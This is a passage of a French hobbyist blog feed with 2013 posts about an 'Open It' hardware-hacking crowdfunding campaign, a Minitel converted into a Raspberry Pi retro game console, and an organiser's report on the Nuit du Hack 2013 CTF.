&lt;p&gt;&lt;a class="reference external" href="http://virtualabs.fr/openit/"&gt;Le wiki&lt;/a&gt; est pour moi un élément fondamental: il permet notamment l'interaction avec les soutiens, et la diffusion de la documentation des projets au monde entier. De plus, cela favorise la collaboration. En parallèle, j'ai ouvert un &lt;a class="reference external" href="https://github.com/openitproject/"&gt;Github dédié au projet&lt;/a&gt;, où les ressources des projets seront disponibles mais sur lequel n'importe qui peut aussi participer, forker, voire même proposer des améliorations !&lt;/p&gt;
&lt;p&gt;Cependant, j'aimerais pouvoir organiser des genres de réunion (planifiées) où chacun pourrait s'exprimer sur les projets en cours, où les personnes qui ont soutenu le projet en contrepartie d'une participation active (comprendre une participation IRL à un projet) pourraient en profiter pour discuter. Et que l'on se mette d'accord sur quels hacks matériels envoyés à qui, etc ... Si vous avez des idées, n'hésitez pas à les indiquer dans les commentaires de cet article.&lt;/p&gt;
&lt;p&gt;J'hésite même à ouvrir un site dédié au projet, histoire de tout centraliser et d'y tenir un blog régulier, tout en fournissant les moyens de communiquer. Bref, il y a encore beaucoup à faire =).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mot de la fin&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Je ne remercierais jamais assez les soutiens sans qui cela n'aurait pas été possible: vous êtes tout simplement géniaux ! Je vous prépare des trucs fun pour la suite, et vous allez pouvoir en profiter =). Stay tuned !&lt;/p&gt;
&lt;p&gt;Ah, et si vous êtes un soutien et que vous avez un souci pour accéder au wiki, faites-le moi savoir par email (virtualabs -at- gmail -daute- com) ou via les commentaires !&lt;/p&gt;
</content><category term="Geekeries"/></entry><entry><title>Open It, ça continue !</title><link href="https://virtualabs.fr/projets/Open-It-ca-continue" rel="alternate"/><published>2013-10-28T09:00:00+01:00</published><updated>2013-10-28T09:00:00+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2013-10-28:/projets/Open-It-ca-continue</id><summary type="html">&lt;p&gt;Voilà seize jours que j'ai lancé mon projet de financement participatif &lt;a class="reference external" href="http://fr.ulule.com/open-it/"&gt;baptisé &amp;quot;Open It&amp;quot;&lt;/a&gt;, et je suis encore épaté du succès de cette initiative. Je demandais juste 400€ histoire de financer l'achat de matériel et de pouvoir accélerer la cadence de mes projets avec comme obligation de mon côté de …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Voilà seize jours que j'ai lancé mon projet de financement participatif &lt;a class="reference external" href="http://fr.ulule.com/open-it/"&gt;baptisé &amp;quot;Open It&amp;quot;&lt;/a&gt;, et je suis encore épaté du succès de cette initiative. Je demandais juste 400€ histoire de financer l'achat de matériel et de pouvoir accélerer la cadence de mes projets avec comme obligation de mon côté de redistribuer ce que je fais et de tout documenter à la manière de l'Open Source.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Un chiffre: 248%&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A l'heure où je rédige ce billet, le projet est assuré d'être financé avec 995€ d'engagés, soit 248% du montant initial! C'est tout simplement énorme. Ce qui veut dire que je ne vais pas chômer dans les mois à venir, afin de réaliser tout un ensemble de projets qui me tiennent particulièrement à cœur.&lt;/p&gt;
&lt;p&gt;La campagne de récolte de fonds n'est pas terminée bien que l'objectif soit atteint, alors si vous souhaitez la soutenir n'hésitez pas, surtout que j'ai ajouté deux achievements spéciaaux nommés &amp;quot;Bande de barbus malades&amp;quot; et &amp;quot;Flap Flap Master&amp;quot;: le premier débloque un workshop sur le hardware hacking à la prochaine Nuit du Hack animé conjointement par &lt;a class="reference external" href="http://www.tixlegeek.com"&gt;TixLeGeek&lt;/a&gt; et moi-même, tandis que le second débloque la création d'un quadcopter maison mode DIY utilisant l'impression 3D et un système de contrôle maison !&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hop hop hop !&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;J'ai mis en place le portail réservé aux personnes ayant engagé 15€ ou plus (inaccessible pour le moment), et commencé à le peupler. Idem pour l'accès primeur aux articles, ce qui m'a valu d'ailleurs [une contribution sur Spip-Contrib-&amp;gt;http://contrib.spip.net/Partager-un-article-pour-relecture]. La partie édition est donc prête à recevoir les heureux soutiens =).&lt;/p&gt;
&lt;p&gt;Toujours dans la continuité, j'ai pris le temps de designer le sticker collector (une contrepartie pour les soutiens ayant engagé au moins 10€):&lt;/p&gt;
&lt;img alt="" src="/images/sticker.png" /&gt;
&lt;p&gt;Et tant qu'à faire, j'ai déjà commencé à réfléchir aux premiers projets et à la manière dont je vais les réaliser. Ainsi, mon minitel a déjà montré à nouveaux ses entrailles, gEDA de nouveau utilisé, et quelques commandes parties pour du matériel notamment. Ainsi, le &lt;em&gt;hardware&lt;/em&gt; collector promis si l'on dépassait les 150% a été conçu, et je devrais recevoir un prototype pour la fin du mois. S'il est ok et fonctionnel, je lance la production du nombre exact (ou presque) et les enverrai aux soutiens. Il s'agit d'un gadget collector qui fera l'objet d'un article, et la documentation sera ainsi accessible (principe, schéma, PCB notamment). Je n'en dis pas plus pour le moment, je préfère garder la surprise et agrémenter d'autres goodies (photos/vidéos) pour le coup ;).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Et la suite ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Il reste 8 jours pour le financement de ce projet, deux Super Minitels Entertainment System ainsi que de nombreuses autres récompenses ! Si cela vous intéresse, ou que l'idée même de l'initiative vous botte, n'hésitez pas à participer ;).&lt;/p&gt;
</content><category term="Projets"/></entry><entry><title>Hardware hacking for all</title><link href="https://virtualabs.fr/projets/Hardware-hacking-for-all" rel="alternate"/><published>2013-10-07T08:00:00+02:00</published><updated>2013-10-07T08:00:00+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2013-10-07:/projets/Hardware-hacking-for-all</id><summary type="html">&lt;p&gt;&amp;lt;emb161|center&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;[MAJ du 8/10/2013] Le projet est financé à 170%, vous êtes vraiment cools ! J'ai ajouté des achievements, vu qu'il reste encore une vingtaine de jours pour la campagne.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;[MAJ du 15/10/2013] Le projet est financé à 226%, wow !!! Pour le coup je cale sur …&lt;/strong&gt;&lt;/p&gt;</summary><content type="html">&lt;p&gt;&amp;lt;emb161|center&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;[MAJ du 8/10/2013] Le projet est financé à 170%, vous êtes vraiment cools ! J'ai ajouté des achievements, vu qu'il reste encore une vingtaine de jours pour la campagne.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;[MAJ du 15/10/2013] Le projet est financé à 226%, wow !!! Pour le coup je cale sur un achievement pour les 250%, mais je vais essayer de trouver un truc fou, promis. Encore merci aux soutiens, et si vous souhaitez encore participer sachez qu'il reste des Super Minitel Entertainment System =)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Comme certains d'entre vous le savent (ou ont pu s'en rendre compte), je me suis replongé il y a peu de temps dans le domaine fou et super passionnant du hardware hacking. Le recyclage d'un minitel, l'étude des tickets de métro, les bidouilles sur msp430 ou mon projet de piratebox basée sur Raspberry Pi, j'ai essayé de m'intéresser un peu à tout, et ça m'a éclaté. Alors j'ai eu une idée.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Crowdfunding for all&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Lors de la réalisation de ces projets, j'ai du faire face à plusieurs problèmes, en vrac:
*  schémas faux ou incomplets disponibles sur Internet
*  manque de documentation
*  improvisation avec le matériel du bord
*  achat du matériel réparti sur plusieurs mois, dans le cas de certains projets (Ratbox par exemple)&lt;/p&gt;
&lt;p&gt;Depuis mon hack de minitel, j'ai plein d'autres idées qui nécessiterait d'être creusées et que vous pourriez trouver intéressantes:
*  création de périphériques USB maison à base d'Atmega
*  étude de trucs bizarre comme les boîtiers affichant les prix dans les supermarchés
*  module de monitoring réseau électronique à base de micro-contrôleur
*  hacking d'impression 3D (modding, amélioration)
*  étude de matériel divers, des STB aux machins électroniques bizarres&lt;/p&gt;
&lt;p&gt;Je ne vous cache pas que pour le coup, je ne suis pas en mesure d'acheter tout ce dont j'ai besoin ou de tenter de les réaliser ... Et là, une petite révélation: pourquoi  ne pas faire appel au financement participatif (crowdfunding) ? Bien sûr, l'idée n'est pas de m'acheter tout plein de trucs avec l'argent des autres, loin de là. Par contre, documenter complètement l'ensemble des projets (chose que je fais en partie sur ce blog), partager des documents opensource permettant de reproduire mes bidouilles, ça je sais faire. Et distribuer des trucs et bidules que j'ai créé, ça serait cool.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Open It !&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;C'est comme cela que le projet &amp;quot;Open It !&amp;quot; est né. Mon premier projet de financement participatif. L'objectif fixé est de 400€, histoire de couvrir les frais d'achat de matériel, et de pouvoir entamer les projets dans le pipe rapidement.&lt;/p&gt;
&lt;p&gt;Je vous invite donc à jeter un oeil à ce projet sur &lt;a class="reference external" href="http://fr.ulule.com/open-it/"&gt;Ulule&lt;/a&gt;, et si l'initiative vous plaît à la soutenir et en parler autour de vous ! Promouvons l'Open Source Hardware ! Hackons du matériel et faisons des trucs geekesques et fun !&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://fr.ulule.com/open-it/"&gt;Pour soutenir le projet Open It, c'est par ici =)&lt;/a&gt;&lt;/p&gt;
</content><category term="Projets"/><category term="évènement"/></entry><entry><title>Super Minitel Entertainment System</title><link href="https://virtualabs.fr/geekeries/Super-Minitel-Entertainment-System" rel="alternate"/><published>2013-09-30T09:00:00+02:00</published><updated>2013-09-30T09:00:00+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2013-09-30:/geekeries/Super-Minitel-Entertainment-System</id><summary type="html">&lt;p&gt;Symbole de l'avancée technologique française des années 1980, le minitel a arrêté son service le 30 juin 2012. Alors beaucoup de gens, ne voyant plus l'utilité de la bestiole, s'en sont lâchement séparés à grand coup d'annonces sur Le Bon Coin, Ebay, ou tout simplement à la déchetterie. Quel dommage …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Symbole de l'avancée technologique française des années 1980, le minitel a arrêté son service le 30 juin 2012. Alors beaucoup de gens, ne voyant plus l'utilité de la bestiole, s'en sont lâchement séparés à grand coup d'annonces sur Le Bon Coin, Ebay, ou tout simplement à la déchetterie. Quel dommage. Il y a vraiment mieux à faire avec un minitel que le mettre au rebut.&lt;/p&gt;
&lt;p&gt;Avant la Nuit du Hack 2013, je me suis fixé comme mission de sauver au moins un de ces spécimens d'une fin atroce afin de le recycler et de lui donner une nouvelle jeunesse. J'ai cherché une annonce sur un site spécialisé, trouvé un minitel à sauver pour sept euros et une heure et demi de métro, et récupéré le malheureux. Son ancienne propriétaire me l'a laissé sans le moindre état d'âme.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Bon, et maintenant ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Avant de poursuivre, passons notre vieux minitel au scanner. Sa composition est relativement simple:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Un tube cathodique&lt;/li&gt;
&lt;li&gt;Une carte vidéo&lt;/li&gt;
&lt;li&gt;Une carte de contrôle&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;La carte de contrôle intègre un modem, un micro-contrôleur, de la mémoire, et une partie gérant le clavier du minitel. C'est vraiment de la vieille facture, mais ce n'est pas plus mal: l'ensemble n'étant pas miniaturisé, il est plus facile de découvrir le schéma électronique de cette carte.&lt;/p&gt;
&lt;p&gt;Plusieurs options s'offrent à nous:
*  reprogrammer le micro-contrôleur pour en faire ce que l'on veut
*  utiliser le port DIN à l'arrière pour le transformer en terminal série
*  utiliser le minitel en tant que moniteur et intégrer un raspberry Pi dedans&lt;/p&gt;
&lt;p&gt;La dernière option m'a semblé intéressante, surtout que l'on dispose de beaucoup de choix en ce qui concerne les applications du raspberry Pi. Une qui m'a bien botté, certainement par pure nostalgie et esprit rétro, s'appelle RetroPie. RetroPie est une distribution intégrant des émulateurs de console, avec une interface intuitive. Pourquoi  ne pas transformer ce vieux minitel et lui donner une nouvelle jeunesse en le changeant en console de jeu ? L'idée m'a plu, et je me suis lancé.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Réutiliser l'écran du minitel&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;L'écran n'est rien d'autre qu'un tube cathodique piloté par une carte vidéo. Coup de chance, plusieurs personnes ont déjà étudié le problème et trouvé des solutions. La meilleure d'entre elle consiste à concevoir une carte électronique réalisant l'adaptation d'un signal vidéo composite vers les connecteurs spécifiques au minitel. Ces connecteurs sont assez particuliers, car il s'agit de piloter le signal envoyé à la cathode du tube pour afficher des nuances de gris à l'écran, tout en se connectant à la carte vidéo pour lui envoyer le signal de synchronisation.&lt;/p&gt;
&lt;p&gt;Comme je le disais, un schéma de carte d'adaptation est présent sur le net, et je me suis donc empressé de prototyper une carte à partir de celui-ci. Avant toute chose, comprendre le montage.&lt;/p&gt;
&lt;p&gt;&amp;lt;emb159|center&amp;gt;&lt;/p&gt;
&lt;p&gt;La carte d'adaptation a deux tâches essentielles à assurer:
*  l'amplification du signal vidéo
*  l'extraction du signal de synchronisation vidéo des données de trame&lt;/p&gt;
&lt;p&gt;L'amplification est basée sur un montage amplificateur à transistors, qui au final module une tension de 44V environ en fonction du signal et qui l'envoie à la cathode du tube. La séparation de synchro est effectué par un composant spécialisé, le LM1881, qui se charge de séparer le signal de synchronisation de la composante de trame. Afin d'éviter l'affichage de rayures lors du retour de balayage, l'amplificateur doit être shunté (signal à 0) lorsque l'on a terminé le balayage d'une ligne sous peine de voir des rayures apparaître. C'est ce que l'on appelle le &amp;quot;blanking&amp;quot;.&lt;/p&gt;
&lt;p&gt;Seulement voilà, il s'avère que le schéma trouvé sur le net est truffé d'erreurs:
*  la patte 5 du LM1881 utilisée dans le schéma correspond en réalité à la patte 6
*  les diodes utilisées pour la commutation de blanking sont montées en inverse&lt;/p&gt;
&lt;p&gt;J'en ai donc profité pour refaire les schémas et réaliser une première version de PCB après prototypage réussi sur breadboard.&lt;/p&gt;
&lt;p&gt;&amp;lt;emb154|center&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fabrication de PCB&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Une fois le PCB conçu (éléments placés et routés), il m'a fallu trouver un moyen de le produire. Plusieurs techniques sont possibles, dont notamment la conception faite à la maison, à l'aide d'une insoleuse et de perchlorure de fer. Le problème ? Je n'ai absolument pas ce matériel. Peut-être en allant dans un Fab Lab ? Aucun à portée de main. La dernière solution: tenter de produire une petite série via Internet.&lt;/p&gt;
&lt;p&gt;En réalité, j'ai tout fait de chez moi, de la commande des composants à petits prix à la réalisation de PCB. Pour la réalisation de PCB, j'ai découvert OSHPark, un service en ligne relativement sympa qui permet de faire produire ses PCBs à petit tirage (multiple de 3), tout en permettant à d'autres de les réutiliser. De l'open-source version PCB. j'étais un petit peu anxieux quant à la réalisation du PCB, mais au final cela a pris environ 3 semaines entre la commande et la réception du colis, pour une trentaine d'euros. Ce n'est pas très cher, car mon PCB était vraiment pas optimisé pour faciliter le &amp;quot;débogage&amp;quot; et les modifications de dernière minute.&lt;/p&gt;
&lt;p&gt;Mon PCB sur OSHPark:&lt;/p&gt;
&lt;p&gt;&amp;lt;emb155|center&amp;gt;&lt;/p&gt;
&lt;p&gt;Voici ce que j'ai reçu:&lt;/p&gt;
&lt;p&gt;&amp;lt;emb156|center&amp;gt;&lt;/p&gt;
&lt;p&gt;Après montage des composants et soudure:&lt;/p&gt;
&lt;p&gt;&amp;lt;emb157|center&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Test de la carte d'adaptation&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Une fois la carte prête, il s'agit de la tester en production. Je connecte donc la carte au minitel (carte vidéo et cathode du tube), puis sur le raspberry Pi que je boote ... Et l'écran s'illumine, avec une image quasi parfaite ! J'avoue que cela faisait peut-être 8 ans que je n'avais pas fait de PCB, mais bon apparemment c'est comme le vélo, ça ne s'oublie pas.&lt;/p&gt;
&lt;p&gt;&amp;lt;emb158|center&amp;gt;&lt;/p&gt;
&lt;p&gt;La première version est fonctionnelle, mais plusieurs améliorations peuvent être apportées:
*  Routage plus efficace, avec une carte plus petite
*  Intégration d'une alimentation stabilisée +5V, pour auto-alimenter le raspberry Pi et pouvoir vraiment l'intégrer à 100% dans le minitel
*  Un amplificateur audio + HP, histoire de mettre un peu de son&lt;/p&gt;
&lt;p&gt;Bref, je suis bon pour faire une seconde version de la carte. En intégrant l'alimentation 5V et un routage double face plus efficace, le prix de revient de 3 PCBs est de moins de 15 euros, soit moins de 5 euros par PCB ce qui est plutôt pas mal. Avec l'ampli audio, cela prendra un peu plus de place et donc sera un peu plus cher (de l'ordre de 7 euros). Je n'ai pas encore eu le temps de finaliser la version 2, mais j'y travaille.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Minitel Entertainment System&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;La base de mon Minitel Entertainment System est quasiment prête. Il ne me reste plus qu'à intégrer RetroPie sur une carte SD, et y mettre des roms. J'ai privilégié une installation par les sources, plus longue mais plus fiable. Une fois installé, il me faut connecter une manette. Wait ... Je n'ai pas de manette USB !&lt;/p&gt;
&lt;p&gt;Mais j'ai une Wii, avec des wiimotes et un dongle USB bluetooth. Et c'est largement suffisant, car debian possède un paquet spécifique pour utiliser une wiimote en tant que périphérique d'entrée. J'installe le paquet et insère un script shell permettant de le lancer automatiquement au démarrage. J'en profite pour forcer l'allumage d'une des quatre LEDs du bas de la manette pour indiquer la bonne connection, et configurer celle-ci pour qu'elle soit reconnue comme un joystick. Pour terminer, j'ai configuré l'ensemble des boutons pour pouvoir m'en servir comme manette de Super NES. J'ai fait cela avec le raspberry Pi connecté à ma TV, c'est tout de même plus simple.&lt;/p&gt;
&lt;p&gt;Une fois le tout reconnecté dans le minitel, avec la carte d'adaptation vidéo en place, je peux profiter de mon prototype de Super MES:&lt;/p&gt;
&lt;img alt="" src="/images/super-mes.jpg" /&gt;
&lt;p&gt;&lt;strong&gt;Et la suite ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;La suite est relativement simple, car je ne compte pas en rester là: créer la version 2 de la carte d'adaptation pour pouvoir loger dans le minitel le raspberry Pi et un HP pour du son. Une fois cela fait, je compte bomber et stickeriser le minitel, voire pourquoi pas prendre en compte son clavier, mais ça c'est un autre projet.&lt;/p&gt;
&lt;p&gt;Pour terminer, je compte mettre sous une licence opensource le PCB et les schémas, afin que d'autres puissent s'en servir et pourquoi pas améliorer le montage.&lt;/p&gt;
&lt;p&gt;A suivre ;)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Liens utiles&lt;/strong&gt;&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;a class="reference external" href="http://jla.1313-blog.overblog.com/recyclage-d-un-minitel-9-en-moniteur-b/w"&gt;http://jla.1313-blog.overblog.com/recyclage-d-un-minitel-9-en-moniteur-b/w&lt;/a&gt; &lt;strong&gt;(lien mort)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://www.cfp-radio.com/realisations/rea48/minitel-01.html"&gt;http://www.cfp-radio.com/realisations/rea48/minitel-01.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content><category term="Geekeries"/><category term="Raspberry Pi"/><category term="minitel"/></entry><entry><title>Retour de la Nuit du Hack 2013</title><link href="https://virtualabs.fr/secu/Retour-de-la-Nuit-du-Hack-2013" rel="alternate"/><published>2013-06-26T09:00:00+02:00</published><updated>2013-06-26T09:00:00+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2013-06-26:/secu/Retour-de-la-Nuit-du-Hack-2013</id><summary type="html">&lt;p&gt;La Nuit du Hack est l'évènement majeur de la communauté Hackers française, généralement organisée fin juin, qui réunit passionnés, professionnels et novices autour d'un thème commun: le hacking. Ce n'était rien de moins que la onzième édition qui se déroulait ce week-end à Disneyland Paris, autour de talks, de workshops …&lt;/p&gt;</summary><content type="html">&lt;p&gt;La Nuit du Hack est l'évènement majeur de la communauté Hackers française, généralement organisée fin juin, qui réunit passionnés, professionnels et novices autour d'un thème commun: le hacking. Ce n'était rien de moins que la onzième édition qui se déroulait ce week-end à Disneyland Paris, autour de talks, de workshops, de challenges et de bière (ainsi que des soft drinks, bien sûr). Zou, visite guidée des coulisses de l'organisation de la NDH version 2013 !&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Un an de préparation&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;La méthode est désormais rodée: à peine la Nuit du Hack terminée, l'organisation de la suivante démarre. Cela représente un an de travail acharné pour seulement 24 heures, ce qui n'est pas rien. La recherche de sponsors, la préparation des CFPs, les débuts de conception de design graphique ainsi que les grands axes d'orientation de l’événement se décident à ce moment. C'est aussi l'occasion de faire l'état des lieux des éléments à améliorer, de prendre en compte les remarques constructives des visiteurs envoyées par email, twittées ou parfois même bloguées. On attache une importance toute particulière aux soucis rencontrés et aux solutions possibles. Par exemple, décision fut prise l'année dernière de cabler le wargame plutôt que de se baser sur du WiFi (qui se fait sniffer/polluer chaque année) et de mettre le CTF dans une salle à part. Il n'y a jamais eu de Nuit du Hack sans cafouillages ou problèmes, même cette édition a eu son lot d'ennuis qu'il a fallu gérer.&lt;/p&gt;
&lt;p&gt;Ensuite, il y a toute la logistique à superviser. Ce qui va de l'agencement des salles avec plans et tout le toutim aux moyens techniques et à la planification. Il faut aussi gérer en parallèle les qualifications, la conception de l'infrastructure du CTF et du wargame, la réalisation des épreuves de ces deux concours et celle du réseau global à déployer lors de l'évènement. Les partenaires tels que Zen Connect ou Orange sont d'une grande aide en ce qui concerne cette partie, tout comme Outscale (via majinboo) ou OVH (un big up à toute l'équipe !). Sans oublier la communication (Hicham &amp;amp; Lucie).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Un CTF remanié&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Cette année, nous sommes partis sur un CTF différent des années précédentes. Il s'agissait toujours d'un CTF attaque/défense, mais cette fois-ci basé sur un scénario et un concept nouveau: la suppression pure et simple des flags formatés. Chaque équipe avait à sa disposition un pare-feu frontal (couche 2) et un serveur hébergeant des services, et se voyait mise dans la peau d'une société réalisant des solutions de DRM (nommée GZT) et devant assurer la pérénité des données de ses clients. Bien sûr, l'objectif est simple: protéger ses données tout en récupérant celles des autres équipes. La nouveauté résidait dans le fait que les données constituaient ce que l'on nomme couramment des &amp;quot;flags&amp;quot;: des éléments d'information ayant de la valeur. Les équipes devaient donc voler ces données, et les diffuser sur un portail que nous leur avions mis à disposition, une sorte de Pastebin. A chaque fois qu'une équipe divulguait des informations ayant de la valeur, des points étaient attribués à celle-ci et autant étaient retiranché aux équipes attaquées.&lt;/p&gt;
&lt;p&gt;L'infrastructure a été elle aussi repensée et adaptée: la solution de virtualisation a été revue, l'infrastructure simplifiée et l'administration facilitée. Tout cela pour éviter de reproduire les erreurs de l'année précédente. Le matériel prêté par OVH a d'ailleurs été d'un grand secours: ils nous ont prêté de sacrées machines avec des capacités de fou furieux ! Encore une fois, merci à vous ;).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;L'installation chez Mickey&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;On a déménagé tout le matériel le jeudi précédant la Nuit du Hack, durant Hack in Paris, et tout installé dans une salle technique. Depuis quelques années, cela se déroule sans trop de problème car nous nous sommes équipés. Tout est sur roulettes, empilable, et étiqueté. Et avec un camion à hayon, le transport se déroule sans encombre.&lt;/p&gt;
&lt;p&gt;Une fois à Disneyland, le premier problème. Un problème d'alimentation. Une personne est venue nous installer suffisamment de puissance pour alimenter nos baies, afin que l'on termine les tests de déploiement ainsi que les configurations de certaines machines. Un peu trop de puissance en fait. Résultat: un bon vieil arc électrique et une imitation de Claude François évitée de justesse. Moins trois alimentations qui n'ont pas supporté la décharge. Qu'à cela ne tienne, le &lt;em&gt;spare&lt;/em&gt; est là pour cela: le tout est changé rapidement.&lt;/p&gt;
&lt;p&gt;&amp;lt;emb150|center&amp;gt;&lt;/p&gt;
&lt;img alt="" src="/images/img_20130620_150045.jpg" /&gt;
&lt;p&gt;&amp;lt;emb151|center&amp;gt;&lt;/p&gt;
&lt;p&gt;L'installation de la baie dans la salle dédiée au CTF a été faite le lendemain, et nous avons passé une bonne partie de la journée à câbler, gaffer, tester, déployer et déboguer les systèmes. Et il fallait bien cela. Cette phase s'est terminée le samedi à midi environ.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Le grand bain&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;La Nuit du Hack a ouvert ses portes relativement tôt (je n'ai pas su réellement à quelle heure, j'ai profité comme quelques autres de la nuit pour essayer de bien dormir), et à 9 heures la salle commençait déjà à être parsemée de geeks et hackers de tout poil. Et on attendait toujours Jérémie Zimmermann, le conférencier en charge de la keynote. Clad a pris la parole, salué tout le monde, tandis que nous tentions désespérément de le contacter. Quelques temps après, des nouvelles de Jérémie et la keynote a ainsi pu se faire sans souci (mais avec du retard). La journée commençait bien. Ceci dit, mieux que l'année dernière car l'an dernier à 9 heures nous n'avions plus d'alimentation dans toute la salle. Quelques soucis de WiFi ont aussi été géré, mais dans l'ensemble tout allait comme sur des roulettes à partir de 10 heures.&lt;/p&gt;
&lt;p&gt;&amp;lt;emb152|center&amp;gt;&lt;/p&gt;
&lt;p&gt;Les participants ont ainsi pu profiter des talks, des speakers, mais aussi des bars, des tables et du réseau déployé. Car oui, cette année il y avait du WiFi qui fonctionnait ! Toutes nos excuses à Dave Kennedy pour l'interruption inopinée de talk (pour cause de mauvais timing), mais cela a été rattrapé par la suite. Le stress du moment certainement. A 20 heures, changement de configuration de salle pour héberger les workshops et le wargame: les participants (1300 personnes environ) ont du sortir de la salle et se sont agglutinés dans les couloirs, où il est devenu difficile de circuler. Un point à résoudre pour la prochaine édition.&lt;/p&gt;
&lt;p&gt;Au même moment, les équipes CTF entraient dans la salle dédiée afin de s'installer et de découvrir ce que nous leur avions préparé. Nous avons fait un rapide briefing avant de démarrer le jeu, expliquant aux équipes les règles et leur remettant par la suite un livret contenant le règlement, le détail de l'architecture et leurs accès. Nous leur avons donné 30 minutes pour accéder à leurs machines et les configurer (modifier les mots de passe, changer les règles de filtrage, etc ...), puis les avons connectés entre eux afin de déclarer officiellement la guerre ouverte. Petite frayeur pour l'équipe, les systèmes de monitoring ont remonté pas mal de rouge quelque temps après, les équipes découvrant les services et testant les premières attaques (des scans surtout). Le tout s'est stabilisé, et ceux ayant vu l'utilité du pare-feu frontal s'en sont plutôt bien tirés. Une équipe a choisi de laisser ses services inaccessibles ([technopandas]), par pur choix stratégique, mais a fait marche arrière quelques heures plus tard.  Le dimensionnement était plutôt bon, vu la stabilité de l'infrastructure durant le CTF. Au final, une seule épreuve n'a pas été exploitée et le CTF remporté (à nouveau) par les russes de HackerDom. SoSix les talonnait de très peu de points, et la lutte finale s'est vraiment faite entre ces deux équipes. Une belle bataille en somme.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Remise des prix&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A 6 heures du matin le dimanche, le CTF a été arrêté et les scores figés. Les russes de HackerDom ont validé à quelques minutes de la fin une série de données volées qui leur ont donné l'avantage, laissant à l'équipe SoSix très peu de temps pour compenser. A 7h00, les prix ont été remis aux équipes:
*  4000€ TTC pour la première place (HackerDom)
*  1 serveur dédié 16G OVH pour 1 an (SoSix)
*  1 serveur VPS OVH pour 1 an (Sutegoma2)&lt;/p&gt;
&lt;p&gt;Encore un grand bravo aux équipes, qui ont lutté durement pendant les 9 heures qu'ont duré ce CTF. On espère vous revoir l'année prochaine les gars !&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mot de la fin&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Cette Nuit du Hack fut éprouvante. A l'heure où je rédige ce billet, j'ai encore les yeux bien rouges et du sommeil à rattraper. Mais elle fut riche en rencontres (oui, il n'y a que là que j'ai croisé un Ukrainien comprenant le français et trollant sur la sécurité), en rebondissements (côté CTF), et en pur plaisir. Et pour une fois, le wargame et le CTF ont fonctionné sans problème majeur. Et ça, ça fait très plaisir. Et oui, ce petit compte-rendu est très axé sur le CTF, mais eh, je n'ai pas pu suivre les talks ni les workshops.&lt;/p&gt;
&lt;p&gt;J'attends avec impatience celle de l'année prochaine, en espérant que l'on arrive à faire aussi bien que l'édition 2013, avec plus de moyens, encore plus de fun et de hacks. J'espère sincèrement que vous avez apprécié cette NDH comme nous avons apprécié l'organiser, et sachez que l'on se démène pour arriver à tenir le niveau.&lt;/p&gt;
&lt;p&gt;Pour terminer, je tiens à remercier tout particulièrement les personnes qui nous ont aidé à préparer ce CTF: Corbier, kaiyou, y0no, Benjamin, Bastien, Saiyan, UnclePecos, et Julien. Et désolé si j'en ai fait c*ier certains d'entre vous, le stress toussa ... Et puis encore un grand merci à toute la team OVH, et en particulier Henri: vous roxxez les mamans ours :). Un autre grand merci aux collègues d'HZV, aux anciens des débuts de la NDH (rappelez-vous, le cybercafé, la grange, cela a bien changé), et à tous les ghosts (80 personnes environ) sans qui cela n'aurait pas été possible.&lt;/p&gt;
